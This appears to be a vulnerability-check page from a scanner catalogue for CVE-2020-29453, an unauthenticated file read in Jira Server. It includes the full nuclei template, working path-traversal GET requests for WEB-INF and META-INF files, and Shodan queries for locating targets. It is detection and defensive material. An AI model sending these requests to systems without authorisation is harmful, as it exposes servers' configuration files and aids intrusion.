Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF)

mediumseverity

5.3CVSS score

20.3%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check.

Impact

An attacker can retrieve sensitive files containing configuration information, potentially leading to further exploitation or unauthorized access.

Fix

Apply the necessary patches or updates provided by Atlassian to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/s/{{randstr}}/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml ; GET {{BaseURL}}/s/{{randstr}}/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
Positive when: contains "<groupId>com.atlassian.jira</groupId>" AND status 200

Run it with nuclei: nuclei -id CVE-2020-29453 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-29453

info:
  name: Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF)
  author: dwisiswant0
  severity: medium
  description: The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check.
  impact: |
    An attacker can retrieve sensitive files containing configuration information, potentially leading to further exploitation or unauthorized access.
  remediation: |
    Apply the necessary patches or updates provided by Atlassian to fix the vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-72014
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29453
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-29453
    cwe-id: CWE-22
    epss-score: 0.20268
    epss-percentile: 0.97491
    cpe: cpe:2.3:a:atlassian:data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: atlassian
    product: data_center
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2020,atlassian,jira,lfi,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml"
      - "{{BaseURL}}/s/{{randstr}}/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <groupId>com.atlassian.jira</groupId>

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from